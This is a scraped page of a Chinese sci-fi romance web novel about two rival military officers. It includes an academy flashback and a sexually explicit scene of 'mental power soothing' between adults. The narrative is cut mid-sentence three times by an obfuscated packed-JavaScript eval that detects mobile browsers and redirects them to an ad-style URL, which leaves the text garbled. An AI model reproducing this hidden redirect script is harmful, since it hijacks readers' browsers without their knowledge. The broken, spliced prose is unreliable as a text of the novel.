“栾绮,”他冷静地说道,“你的话的确让人不适。但我没有功夫跟你回扯,也没有时间同你耍嘴皮上的把戏。” “是这样吗?” 栾绮微嗤一声,斜侧过身子,好整以暇地看了他许久。久到蔺序然被她看得忍不住动了一下眼睫,栾绮这才在他的面前露出一个惯有的、恶劣的微笑来。 “长官,你的星网记录,可不是这么说的。” “……什么。”蔺序然有点费解。 “闲暇时也可以多接触一点你的个人终端,长官。” 栾绮将手臂撑在车窗边,指尖无意识地轻叩了两下。 蔺序然被她的动作稍微分走一点注意力。 他的余光顺着她的手瞧去,看到那只手在黑色皮质手套的包裹下,指节绷出好看的弧度。半截的手套,露出小半截掌心,还有手背那微微凸起的骨头和脉络分明的青筋,足以见得这双手是何等的有力。 她的面上总维持着笑,但不经意间的几个动作,还是会不自觉地流露出放在那张温和笑脸之下的压迫感。 栾绮说:“你星网的下载记录没有设置成私密,那几本热门的读物,星网列表内的好友都能看得到。” 蔺序然的神经倏然紧绷。 他默不作声地听到栾绮轻轻一哂:“非常有幸,我并未出现在长官个人终端的黑名单上。否则,在有生之年内,我也看不到长官能够精读那几本书。” “……栾绮。”他想要制止。 栾绮没让他如愿,凭借着自己几乎过目不忘的本领,从容不迫地念道: “‘面对对手的嘲笑和质疑,最基础的回击办法之一就是让TA的攻击宛如砸在棉花上。所以,你可以尽量表现出不在意的模样,或者是让TA的攻击看起来像小孩子过家家,以一种成熟的方式去看待TA微不足道的把戏。’这是那本《回击对手的顶级方法》的段落句子。” “你对它加了标注,长官。”栾绮说道:“真是稀奇,你居然信这个,还认真到这种地步。” 蔺序然冷着脸,回避开她直白地、嘲笑似的目光,默了半天,堪堪维持住自己的表情,低声说道:“你也看了。” 苍白无力的回话,引得栾绮想笑。 事实上,她确实笑了,甚至噗嗤笑出声来,连带着整个身子都在发抖。 最后,在蔺序然颇为恼羞成怒的目光下,她止住笑意,大大方方地说:“这是当然。毕竟作为长官的你都看了,我又有什么理由不去读这几本大作?” “栾绮,”他恼了好一会儿,逐渐平复语气,冷漠地驱逐道,“下车。” “这里不是停车的好地方,你确定要滥用私权么,长官大人。” “……闭嘴。”他命令。 “私人时间,并不是指挥我的好时机。” “……” 他闭嘴了。 栾绮掀起眼皮去看他。 他整张脸埋在帽檐的阴影下,唇线抿成一条直线,脸色寒得吓人。但栾绮还是能够看得到他埋藏在衣领边缘,脖颈那露出来的一点红。 也不是没见过他皮肤红的模样,不过那都是与精神力病症有关。 现在这样子,居然还会害羞,真是闻所未闻。 栾绮扯唇,有些愉悦地眯了下眼。 大概是察觉到了她的视线,蔺序然还是强撑着压低了帽檐。 栾绮从来就不是一个心软的人。这个节骨点上,她根本不会去想着放弃去戏弄他的这个想法,反而将脸侧的头发撩至耳后,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔺序然冷着一张脸,退了出来,压着眉峰盯它看了很久,手指在那些删去选项上停了好一会儿,旋即,发送指令。 磁悬浮车依然平稳地行驶着。 在一片安静之中,蔺序然关闭终端,手指紧紧地交握住,又止不住地去绷直指尖想。 ——太狼狈了。 他不应该去做这种他从来不会做的事,这跟小孩一样斤斤计较。 但却又破罐破摔地想到,这也没什么。毕竟这种让他狼狈难堪的事,栾绮做过不少、也见过不少。 车子飞驰着,蔺序然莫名地想起一点陈年旧事。 它和现在的,似乎同样叫人窘迫。 13. 13 蔺序然第一次见栾绮的时候,是在军校一年生的入学仪式上。 星际联邦军盟学校对入校学生的年龄要求尤为严格。因为学生年纪太小,不仅在精神力的操作和把握上很难到位,而且军校过度苛刻的训练还会导致学生提前进入精神力暴动。 但栾绮是个例外。 她是军校唯一一个放宽了年龄,让她破例从中学跳了两年直入军校的学生。 那个时候她才十六,比同级的一年生小了两岁,一米七不到的个子,不像七年后向一米八靠近,站在高个人群中,让整齐划一的列队冷不防塌陷下去。脸也相当稚嫩,及肩的短发,戴着军帽站姿笔直,不少同届的军校生都频频往她这边瞄。 毕竟,军校从来没有收过年龄这么小的学生。 大多数人都觉得好奇。 何况指挥系的学生本就少之又少,栾绮又是罕见的A级双系生,简直像个另类香馍馍。并且她对每一个和她打招呼、对视的人,都会露出一个很亲切柔和的笑来,眉眼弯弯的,看上去非常好说话,平时训练还刻苦,以至于许多同届生常常忽略掉她的实力,把她当做小两岁的妹妹来看待。第一次考试前都还特意围上去给她打预防针,告诉她排名低点也没什么。 然而在他们眼里非常好说话的栾绮,她的精神力实际上侵略性极强,个人甚至还能严格把握自身精神力的强弱浓度,就连近身作战几乎都是教科书的级别。 就是年龄有点小,再加上A级精神力和S级精神力本身带着泾渭分明的界限,所以第一次考试她输给了蔺序然。 考完试,栾绮被其余人簇拥在中央。同窗们一边肯定她的实力,一边宽慰说A级与S级本就存在着难以横跨的鸿沟,输给S级一点都不丢人。 蔺序然路过,透过人潮,遥遥往里面看了一眼。栾绮在最中央笑得格外放松耀眼,隔着层层人群,似乎注意到了他的目光,轻轻抬眼,回了他一个轻慢的、不屑的一瞥,似乎在嘲笑一个S级精神力者,就只有这点本事。 “……” 作为一名S级精神力者,蔺序然见过太多目光。有期许的、敬佩的、羡慕的,也有过恐惧、嫉妒、不甘,但他第一次接受到这样的目光—— 挑衅、傲慢。 对方还是第一场考试里的输家。 但莫名地,他的心里萌生出一点危机感。 预感是对的。 如果说,第一次和栾绮交手对战,两个人的实力差距犹如天堑,那么第二次交手,这道天堑赫然间缩小了不少。 她的进步极为迅速,更像是在挑战A级与S级与生俱来的等级规则一样,一点点地打破这两个等级之间的分界线。 在第五次交手之后,两个人破天荒地打了个平手。 第六次,栾绮赢下了他。 栾绮指腹擦过下颚上的伤口,在诸多同学们惊讶的轻呼声中,对着熟练复位脱臼胳膊的蔺序然挑了下眉,微含讥笑:“你没退步吧?” 两个人之间的交流只有寥寥数次,大都是公事公办的对话,像这么直截了当的讽刺,还是第一次。 蔺序然自然没有回话,只是漠然地转身离去。 被一个A级精神力者撵在地上打,这滋味可不好受。 再之后,两个人除了输赢均衡的交手,仍然没有什么过多的交流。 事情的转变出现在军校的第二年。 鉴于他们两个人是军校内的双系生,成绩优异,以及又是指挥系学生出身,毕业后的军衔再低也有尉官,于是破格让他们两个人加入军队与虫潮作战,提前适应实战环境。 只不过充当临时指挥官的要求、风险高,军校不愿意让两人冒险,经过多方面协商,转而让他们作为机甲兵去应战。 禁区星向来环境糟糕、生态恶劣,总会有与军事基地失联的情况发生。所以,虫潮来临时,通常是两名精神力者共同对付同一只虫子。 两人被指派到了一起。 探测器标记显示这是一只B级虫。不过基地没有想到,这其实是一只伪装成B级的A级虫。分配给他们两个人的轻型机甲对A级虫起不到任何作用,只会在它的进攻下报废。 栾绮从驾驶舱内一咕噜滚了出来,起身几个跨步撤离到安全范围内,在机甲爆炸溢出的硝烟前边,她顾不上作战服的破损,迅速取枪扣动扳机。 然而还未等她摁下,身侧传来数道“砰砰”声,栾绮侧目一瞧,发觉蔺序然冷静持枪,对着这只A级虫的弱点扫射而去。 “……” 她面无表情。 正准备掏出光剑迎虫而上,身边之人比她更快一步。 “……” 她不爽轻啧。 于是对着虫子的脑袋崩了数枪后,几个近身翻跃跳上了它的背部。 “栾绮,”蔺序然顿了一下,说,“它的发声器隐藏很深。” 栾绮:“所以?” 蔺序然看她一眼,警告道:“靠太近,你的精神力会受到干扰。” “是你把我想得太弱了。”栾绮微笑,军靴毫不留情地踩向虫子的头部:“何况,受到干扰的是你吧。你之前的枪法,有今天这么差?十枪里面居然射偏了一枪。” “……随你怎么说。” 栾绮嘁声。 脚底下的A级虫猝然间陷入狂暴,接连不断地嗡叫着,干扰精神力的声波猛然间爆发出来。 两人闪躲开来。 A级虫对于精神力的干扰不容小觑。两个人都只在军校学了一年,并且实战模拟时对付A级虫的模拟单独战斗也需要三十分钟,还是在找出发声器的情况下。对付一只A级虫,多少有点在做超纲题。 虫子的干扰不会对栾绮产生特别致命的影响,但持续的嗡叫还是会让她觉得头大。她的眼神在A级虫那庞大的身躯上打转,看到尾部底下被硬甲壳覆盖的地方,在轻轻鼓动。 她手中光剑刚取出,蔺序然提前一步朝发声器的部位开枪。 厚甲壳很难被枪弹击穿,而且一张一闭,只能擦边蹦到发声器。能源枪很快就用空,蔺序然收好手中的枪,欲要动用精神力,怎料栾绮将她自己的枪抛给他。 两人对视。 栾绮:“虫潮会持续很久。一只普通的A级虫,有必要你这么小题大做。” 她拿着光剑,看起来像是要靠近虫子近身解决发声器。但越靠近,发声器对精神力的干扰会越强。 蔺序然握住她的枪,有些不赞同她的想法:“你太冒进。” “?”栾绮用漆黑的眼瞳望向他,“你太古板。” 他冷着脸:“激进。” “胆小。” “……冲动。” “啧,没胆的家伙。” “幼稚。” “你就只会说这个?” “……” 来不及互呛,栾绮提着光剑就上去了。蔺序然蹙起眉,开枪掩护她。 两人第一次配合,效果出奇地拔群。被栾绮切断发声器的A级虫直愣愣地摔在地上,光剑和枪弹双管齐下结束掉它最后的生命。 虫子死后巨大的爆破中,管辖这片战区的指挥官姗姗来迟,带着几个副官确认他们两个平安无事后,捏着眉心看了眼两个人因为爆炸余波而导致有些战损的作战服,头疼道: “两位,下回发生这种意外要请求支援,而不是莽上。这只虫子可不是简单的A级虫,它对精神力者的干扰力度很大,还能够切断精神力连接。就算实力再怎么强,你们也还只是学生,在危险下请不要自作主张,到时候怎么死的都不知道!” 两个人站在原地被训了足足十来分钟,指挥官骂够了这才将他们带回基地。 栾绮穿戴好军服从基地更衣室出来,就看到蔺序然屈腿踩着阶梯,无甚表情地系紧长靴鞋带,从前方看,他的背肌恰到好处,线条起伏得很好看。 她几步向前,站在他面前,挡住了前边的光线。 蔺序然抬头:“做什么。” 栾绮站在高处,居高临下地看他:“你不对劲。” “什么。” “第一次跟虫子作战,你失误了好几次。” “再精密的仪器也会出错。”蔺序然说。 “是吗?”栾绮道:“可我看你好几次开枪,手都不是很稳。” “……” “怎么,你难道想说是我看错了?” “或许。” 蔺序然起身。虽然过了一年,她比第一次见面时长高了几公分,但他太高了,两人隔了几个台阶,他站在下方,还能同栾绮平视。 “栾绮,管好你自己。”他说。 话音刚落,栾绮就先动了手。 这副场景也不是一次两次了,每次课上交手完,如果不是同系的学生们有意阻止,两个人掐起架来少说也要再延长个十来分钟。 不过这次也许有点不同。从单纯的近身作战,再到精神力互掐,最后再掏出武器剑枪相向,外加上不久前和A级虫作过战,一套流程下来,双方都有点精力不济。 栾绮曲起腿抵住他的胸口,将人压在地上。手里的光剑刺穿了地砖,插.入了蔺序然脸旁的地面内。她的长发散落,发梢蹭过蔺序然的手腕内侧,蔺序然手掌扣住她的脖子,没有用力,另一只手握着的枪,被她反手扭住手腕夺过。 黑色的枪在她的指尖漂亮地转了个圈,枪柄用力地挑起他的下巴,栾绮逼迫他用那双银灰色眼眸同自己对视。 “看来,S级精神力者也不过如此。” 蔺序然眯眸看她,感受掌心间她脖子跳动的血管。 从来没有人会看轻一名S级精神力者。 毕竟,一名S级精神力者总会占据得天独厚的优势。 不论是恐怖强悍的精神力,还是耐久恢复力惊人体能与身体素质,其他精神力者都会天生对此感到畏惧。其中的等级界限总是清楚明晰。星际联邦也因此对S级精神力者给予了极高的待遇,授予的军衔都会比寻常精神力者高几级。 可,栾绮从始至终是个例外。 但也不算是例外。 因为她拥有着一名S级精神力者身上具备的傲慢。当然,她的傲慢只针对他。 “你想说什么。”蔺序然没有松手。 栾绮同样没有松手,枪口对准他的眉心:“显而易见,我不喜欢S级。因为S级精神力者总以为自己无所不能,事实上并非如此。” “……拭目以待。”他说,语气带着几分不容置喙的强硬:“下去。” “现在命令我是不是太早了,未来的长官?” “……” 蔺序然骤然松开掐住她脖子的手,转而扣住她的腰,将她提拎到一边,捡起地上她丢下的枪,站起身来。 他抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184236|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下唇。唇角留着被她打过的痕迹,大概凝着淤青,身上也有多处轻伤,不太好受。栾绮的打法干脆利落,拳拳到肉,很疼。 栾绮的模样没比他好到哪里去。她脖子上留着一圈他的手指印,肩腰周围还有多个伤口,军服上的领结都不知道歪到哪儿去。 她伸手正了下领带,忽然想到了什么,一派笑意盈盈的样子:“对了,你这幅模样,该不会是害怕了?” 蔺序然指尖一禁,心跳如雷,有种要被即将戳破的不安,却还是冷漠地说: “收起你的胡说八道。” 栾绮:“胡说八道?你好着急啊,只是稍微试探一下,就这么迫不及待地反驳。” 蔺序然:“……” 他想转身就走,栾绮却古怪地看了他一眼:“你真的怕虫子?” “……没有。” “那你开枪时手抖什么?” “你看错了。” “哦。你还不敢直视那只虫子。” “不是。” “真稀罕,明明模拟实战的时候,也没见你这样。假的不怕,怕真的?” “闭嘴。” 掩饰很好的秘密就这么被她大刺刺地戳破,蔺序然一阵难堪,肌肤不自觉烧了起来,幸亏只有脖颈那边会红,被衣领很好地遮挡住,栾绮没有发现。 他站在她面前,冰冷地说:“你可以说出去。” 又匆匆添了一句:“嘲笑也行。” “这有什么好笑的,又有什么好说的,”栾绮仰起头看他,觉得很怪,“我是什么很卑劣的人吗?” 蔺序然无声地盯着她。 栾绮:“?” 她不解地皱眉。 蔺序然轻声陈述:“……你会偷袭。” 栾绮:“就这个?你没有偷袭过?” “学你。” “……”?真有意思。 “不过,你这样——”栾绮活动了一下四肢,问:“既然怕,你还来军校做什么?” “你没必要知道。” 她用那双黑白分明的眼直勾勾地凝视着他。眼里没了轻视,多了几分探究。 蔺序然停顿片刻,没什么表情地说:“一切为了联邦。” 这是每一位军校生入校时的宣誓词,栾绮没有什么过多的反应。 她只是顿了顿,然后,头一次在他面前露出一个恶劣的微笑来:“哦。对了,刚刚你又输了,输给一位A级精神力者的滋味怎么样?” “……”叫人恼火的家伙。 感受到他的恼怒,栾绮愉悦地哼笑了声,朝外走去,和他擦肩而过,徒留下一个挺拔漂亮的背影。 …… …… 蔺序然从一股难言的暴躁感中醒来。 他的黑发凌乱,呼吸急促,肌肤泛起不正常的红。 距离上次去军校教学已经过了好几天,时间这么一算,上回的精神力暴动过去了二十几天,也该到了第二次暴动。 他喘着气,用残存的意识取出箱内的精神力抑制剂,侧脖,熟练地注射。 箱内总共提取了四支抑制剂,每一支抑制剂的成功率不到百分之四十。研发的时间太短,研究人员只能提供到这种程度。 第一支抑制剂注射过后,蔺序然能够清晰地感受到体内的躁动感压下不少。但不到一小时,精神力暴动的焦灼感却越来越盛,他面无表情地注射第二支。 紧接着是第三支。 抑制剂有效,但又不那么有效。 起效的时间很快,失效的时间更快。 汗水滴落在地毯上,他抿唇微弓起身,不仅视线逐渐趋于模糊,就连意识也起起落落,不太明晰。 无奈之下,蔺序然取过一旁的S级精神力防护器。是个黑色颈环,他颤着指尖,轻仰起脖颈给自己扣上。 精神力防护器能够阻止暴动的精神力乱窜,但这个S级精神力防护器只有72小时的防护时间,过了这个时间段,如果他的暴动还没解决,溢出的精神力将会摧毁建筑、伤害到其他人。 不知道忍了多久,外边的人造太阳已经关闭。浑浑噩噩之间,蔺序然的脑海中开始频繁闪烁着自己无法抵抗的暴虐念头,他想释放出全部的S级精神力,可刚有所动作,脖间的颈环闪起红光,收紧,牢牢地将他锢住。 他只能强迫自己压下这个念头。 只可惜,暴虐的念头一过,只停歇了几秒,也许是之前被安抚过的原因,他的脑海里突然冒出了栾绮的脸——有十六七岁她那张稚嫩意气风发的脸,也有二十几岁她柔和却又恶劣的笑脸。 画面浮闪间,甚至还有第一次精神力暴动时,他自己的那句“下次,我会自己解决。” “……” 房间内只有他自己沉重的呼吸声,他压抑着喉间痛苦的喘.息,在尝到唇上那点血腥味后,倏然睁开眼,失神地望着上方刺眼的灯光。 光线在他模糊的银灰色眼瞳中慢慢地拉成数条扭曲挣扎的线。 ——要去找她吗? ——没什么好去的。 ——可抑制剂不起作用。 ——不能去。 终于,过了很久,在想要摧毁脖子上防护器的冲动下,蔺序然紧绷着神经,摇摇坠坠地起了身,去浴室将自己身上的黏腻清洗干净,然后再穿戴整齐,注射掉最后一支抑制剂,打开了门。 14. 14 星际联邦时间,晚上21:45。 栾绮关掉终端,处理掉F区的一些军务之后,刚洗漱完,门口传来几声轻叩。 不像联邦内的其他军官一样极尽奢华配置了不少警卫,栾绮的住处只是普通的公寓,虽然没有太多花里胡哨的功能,还保留的老旧的构造,但保密性、安全性较高,除了少数人,很少有人知道。 所以在这个时间段,来者是谁,栾绮不用想太多,很快就能猜出来。 她打开门,看到对方面色潮红地出现在自己的门前,银灰色的眼里是遮掩不住的狼狈和羞耻。 “晚上好,长官。”栾绮语调上扬。 “栾绮。” 蔺序然整个人倚在门侧,哪怕他尽力让自己看起来相对无事,可声线仍是止不住地在颤抖。 栾绮挡在他的面前,眼神扫过他绷紧的身体,表情轻松地问:“深夜造访,也不知道长官来找我,是有什么急事。” 蔺序然蹙眉,体内的灼烧感与无穷的热意在吞没他的意识,他缓慢地眨了下眼,强撑着:“……如你所见。” “什么,”栾绮明知故问,“你是指,第二次精神力安抚吗,长官?” 不同于第一次,这次主动找自己的栾绮进行第二次精神力安抚,尽管这听起来十分羞耻与尴尬,但蔺序然停顿片刻,还是忍着难堪轻嗯了一声。 “长官,我没记错的话,你说过,接下来的暴动会自己解决。你知道的,第一次安抚只是我的一项任务而已。” “至于接下来对你的精神力安抚——这与我无关,并不在我的执行范围内,我没理由帮你。” “……” “何况。”栾绮看向他抿起的唇,莫名地想起了星网上的一些评论。 于是她微微一笑,打量起他:“长官,我的要求可高了,比较挑,不喜欢S。尤其是长相和精神力都是S的人。” 蔺序然被她这番话说得有些窘迫。 他冷淡着一张脸:“……你想怎么样。” 栾绮:“你说呢。” “咔嚓”。 门被合上,栾绮放松地靠在客厅沙发上,抬眼朝他微笑,让他有种羊入虎口的错觉。 蔺序然久久不语,只是沉默地站在门口,维持好自己摇摇晃晃的身体,盯着她看。 栾绮慢条斯理地撑着脸:“请求他人的帮助,需要一个良好的态度,不是吗,长官?你应该记得第一次安抚时,是怎么请我帮忙的。” 第一次精神力安抚…… 蔺序然不自觉地蜷缩起指尖。 他沉沉地望向她许久,在第四支抑制剂的药效即将要失效时,他深吸一口气,向前几步,走到她面前。 迟钝的大脑让他记起第一次精神力安抚时他有意遗忘的场景—— 于是他像第一次那样,坐在她的脚边,哪怕这个动作总让他觉得自己跟犬类一样。蔺序然到底还是咬着牙,强行低下自己的脑袋,面无表情却又乖顺地将头枕向了她的腿上。 “再帮我一次。栾绮。” 栾绮有些意外地看了他两眼,然后,她似乎满意地笑了一下,嗓音有些模糊,温凉的指腹抚过对方的后颈。 “你戴上了这个,长官。” 黑色的颈环,用来防护他暴动的精神力。特殊的材料,看起来有金属般的质感,摸起来很冰冷,针孔大小的指示灯隔几秒闪烁着微不可见的蓝光。 栾绮将一根手指从这缝隙中穿插了进去,指腹感受着他滚动的喉结,看着他轻眯起的眼,于是,她重重一勾。 很突然的举动,蔺序然压抑的嗓音因此防不胜防地从喉间传出。 “咔嚓”一声,栾绮解锁颈环,把它放在沙发的另一端。 蔺序然压制住喉间的声音,任由她的下一步动作。 她的指尖抚过他垂下来的黑发。发梢蹭过眼睛,很痒,在眨眼的时候,栾绮的手指突然捏起他的下巴,轻轻笑道: “长官,做得不错,这才是有求于人的态度。” “……” 蔺序然的眼睛有刹那间的失神。 房间里满是他乱窜暴躁的精神力,在他烦躁的精神力无处宣泄的时候,宛如奖励一般,栾绮的精神力猝不及防地释放了出来,将他紧紧包裹住。 片刻的清醒,让蔺序然无意识地抓过她的衣摆,他一字一顿艰难地说: “栾绮,不准……跟上次一样……对我。” “为什么?”她掐着他的脸,俯视他。 “不准,”蔺序然嗓音发哑,命令道,“只准……用精神力。” “长官,认清楚状况,是你在请求我。我完全可以拒绝这次帮助。” 无法反驳,混乱的意识混着恼火的情绪,报复般地,蔺序然情不自禁地咬住她的手指,牙齿磕碰到她的指节上,半含半咬。 但他没什么力气,对她造成的伤害不痛不痒,所以这个举动,与其说是咬,倒不如说用牙含着磨。 栾绮顺势用手指卡着他的唇齿,指腹稍稍刮过湿.软的舌面。蔺序然不适地用舌尖推开她的手指,却又适得其反被摁住。 他听到栾绮恶劣地说道:“你大可以求我,长官。” “……闭嘴。”他的嗓音也因此含糊不清。 “嘴张大点。我听不清。” “……拿开,栾绮。” 栾绮轻轻地笑了下:“长官,你不放松,我的精神力没办法对你进行安抚。” 房间内只有蔺序然重重的呼吸声。 半晌,他说:“我会放松的。” “是吗?”但他的精神力仍然把她拒之门外,栾绮原本安静的精神力难得因此躁动:“可它好像不听你的话。” 回应她的只有他越发沉重的喘.息。 “长官,你的承诺很不算数。” 过了好一会,栾绮的手指缓慢地解开他的衬衫,顺着他紧实的腰线一路向下。 蔺序然原本神情还有些茫然迷惑,但等他彻底反应过来的时候,他的脸已经深陷进柔软的靠枕中,膝盖重重地往里磕向地面。 他从枕头中侧过脸,抬起湿漉的眼看向她:“栾绮,你答应过……不这样……” 栾绮掐住他的后脖,将他摁了回去:“当然,可是,答应你的前提是你要求放松。” 她的另一只手向下。 “那里。别碰。” “过会儿就好了,我的精神力已经在对你进行安抚。你看起来比刚刚好了很多,不是吗?” “不行……” “虽然这么说,但你做得很好,长官。” “……” “没错,是要这样……再放松一点,很好,你看,长官,你这里很会。” “栾绮,”蔺序然瞳孔微缩,眉峰轻压,冷不丁地问,“你这是在夸奖,还是在羞辱。” 栾绮慢条斯理地瞥了他一眼:“在这方面上,我看起来会像是个拥有羞辱喜好的人吗?你把我的人品想得也太差了,长官。” “那你……”蔺序然狼狈地别开眼。 “是真心实意的夸奖,”栾绮缓缓逼近,“我可不是个习惯被负面情绪包裹着的人。就算我在与你较劲,我也会承认你的优秀,长官。” 他不说话,只是用力地抓着下方柔软的布料,五指收拢,小臂至手背绷起的青筋格外明显。 栾绮曲着腿,用余光一睨,只说: “轻点抓。沙发罩是要报废,但不应该这么早。毕竟,你我的体能都很好,长官。” 她嗓音温柔,对他喊“长官”的时候,总拖着一股独特的腔调,跟钩子似的,能吊着人,又能刺挠得人胸口疼。 平时这么称呼是没错的,可,现在……听起来反而是在玩什么稀奇古怪的游戏。 他别扭地制止说:“别……” “栾绮,别这么喊我。” 也许是打过抑制剂,残存的药物使得他这次精神力暴动期间的清醒次数稍微多一点,栾绮觉得他这回没有上次这么安静听话,不过嘴上的反抗和身体上的顺从总会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184237|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比听话来得新奇,也总是会符合她的心意。 “抱歉,长官,除了战场上,我什么时候听过你的话。” 她的精神力也如同她的话一样,在以下犯上地冒犯他。 蔺序然想回头。却被她摁住手腕,他的脸被迫与柔软的枕头密切地贴着,余光中只能看到栾绮所露出的肌肤,恍若与先前的那个梦重合。 客厅柜台上摆放着的电子钟显示时间为凌晨00:58。 在彻底失去意识之前,蔺序然还能感受到她手温热的指尖缠上他的指尾,缓慢而又带着侵略性地扣住。给他带来了双重的感受。 然后,她俯身在他耳边低声呢喃: “很厉害呢,长官。我应该可以再重一点吧。” - 醒来时,那种猛烈的感觉还尚残存在意识中。 蔺序然疲惫地睁开眼,客厅内的混乱久久地刺激着他的神经。 他支起身,膝盖因跪久了,淤青斑驳,起身时有些踉跄。 蔺序然抬头,看见栾绮从浴室内走了出来。她擦拭着自己微湿的长发,对上他的目光,状态非常好地打起招呼:“下午好,长官。” 栾绮说:“你看起来恢复得不错。” 蔺序然表情漠然,他张唇:“你……” 话一出,他恍然发觉自己的声音哑得不像话,喊太久了,就连嗓子也有些发疼。 他抿了下干涩的唇。昨晚被自己咬出来的伤口反反复复地沁出血丝,现在莫名好了,不用想也知道是谁的手笔。 栾绮丢给他一瓶营养液。 她指了指客厅的混乱,微微含笑道:“这些,你会处理的吧,长官?我可不想收拾这些烂摊子。” 蔺序然:“……” “……知道了。” 好一会,蔺序然抓起衣服,语气很轻地说了句。随后,他又忍不住拧眉,低头一看,胸口处被她掐过的地方带着淤青,腰侧也有她的指印。 因为长期训练,她的手有薄薄的茧,抚过皮肤时,总会激起一片颤栗。 蔺序然垂下睫,一言不发地穿戴好。 栾绮靠在桌边,有一搭没一搭地咬着插在营养液瓶中的吸管,看他习惯性地将纽扣扣到最顶端,这仍掩盖不了脖颈上面的痕迹。 他用银灰色的眼眸看了她一眼,沉默地,又像是一种对他来说不太自在的警告。 栾绮无辜地说:“好吧,下回我会轻点的。” 蔺序然在她的注视下,沉默地收拾好一切,回她:“不会再有下次了。” 他拉开门。 栾绮浑不在意地咬着吸管,有些含糊地说:“希望如此,长官。因为你上回也这么说。” “……” 蔺序然哑口无言,行走间,身上的伤口和布料相磨,疼痛感密密麻麻,还是让他没忍住轻嘶一声。 蔺序然只好用掌心抵着门的把手,欲要向前一步,蓦然间感受到一阵铺天盖地的眩晕。 恰在此时,鼻尖仿佛传来一股淡淡的味道,蔺序然下意识地轻轻一嗅,是甘冽的,又像是无味的,很熟悉,有点像是…… 他猛地惊觉,这是栾绮身上独有的味道,只有在凑近她的脖颈间时,才能闻到。 她怎么突然靠过来了? 他猛然回头。 距离他几米远,栾绮还保持着那个懒散的动作不变,并没有靠近他。她长发披散,垂在自己的腰边,懒懒散散地将手中空了瓶的营养液丢入分解箱内。 蔺序然察觉到了一丝异样—— 她的精神力似乎没有收回去。 在闻到那股味道之后,A级精神力大张旗鼓地散发开来,礼貌又强硬地将他围住,几近蠢蠢欲动,惹得他也有点口干舌燥。 “栾绮,”蔺序然皱起眉,只好说,“把你的精神力收回去。” 栾绮:“?” 她偏了偏头,奇怪地说:“你还没有清醒吗,长官?暴动期过了后,我的精神力早就收了回来。还是说,你不够尽兴?” 15. 15 “……精神力依赖症?” “并不算是。这是假性的精神力依赖症,距离精神力依赖症还有一步之遥。” 治疗师协会内,年老的协会会长说道:“蔺上校,对你而言,假性的依赖症,不像普通精神力者一样愈合得轻松。” 蔺序然神情松怔了一瞬,转而恢复平静。 第二次精神力暴动结束,意识到身体的不对,从栾绮的住所回来,至今也有一两天。这几天内,他总感觉身边一直围绕着属于栾绮的精神力,甚至是对方的气息,无时无刻不缠绕着自己—— 知道自己不对劲,却没想到会是这个结果。 蔺序然说:“治疗方案。” 会长回道:“协会暂时无法给出具体的治疗方案。” 蔺序然表情未变,只是交握的手指凝滞了一秒。 会长详细地解释说:“蔺上校,精神力依赖症的患者只有少部分。是这样,依赖症同精神力安抚后的不适症状相关联,但,基本上,只要向安抚者提出继续安抚,或注射了药剂后,这些不适症状都会得到迅速解决,很难恶化成依赖症。普通精神力的依赖症不好愈合,更别说是S级精神力者。不过,幸亏你现在是假性。” “假性的依赖症源自于一定时期内过度的压抑、反抗。精神力是当今先进科学都无法完全解释的存在,但它和人的一系列思想行为相互挂钩……所以,蔺上校,你应该适当地放松。” “……” 见他只是沉默地抬了下眼皮,会长说:“数据报告显示,你既然是精神力安抚中接纳的那一方,那么针对假性依赖症,把自己交给安抚者,治愈的过程会更快一点。” 蔺序然疲倦地摁了下眉心,沉声问:“相关药物呢?” “有是有,不过上校,你的精神力等级太高了,这些药物对一位S级精神力者来说,药效会减少三分之二。” 蔺序然轻轻颔首。 “相对来说,对于药物治疗,安抚者才是最好的药物。”会长真心建议,“纵使星际联邦对S级精神力者的一切都会自动保密,但是,一位S级精神力者在精神力方面出现的问题,是星际联邦高层中不容忽视的事。” “……”蔺序然不语,停顿几秒,他不轻不重地“嗯”了声。 走出治疗师协会,时间还较早,想到今天的行程,蔺序然吩咐杨乔驱车到指挥部。 甫一进入大楼,隔着十几米远,前方数几个人聚在一起,统一的军服,唯有肩上的徽章不同。哪怕站位因衔位的高低而有所区分,却仍能依据氛围,知道最中心的人是谁。 蔺序然目光向那边一望。 栾绮半垂睫,听他们在讲着什么,大部分人的视线都不自觉地被她所吸引,看她露出个浅淡的笑来,饶有兴致又是惯有的温和,光是看着就让人忍不住跟着笑。事实上,他们也确实无意间跟着一起微微笑起来。 她向来如此。 不论是从前,还是现在,一直都是最不容忽视的存在。 蔺序然没有看太久,朝会议室的方向走去。 身体尚存的症状也不允许他在栾绮周围停留太久。就算在车上服用过抵抗假性依赖症的药,但他还是能感受到他所臆想出来的属于栾绮的精神力,离她越近,感受就越强,身体上这股难掩的躁动就越盛。 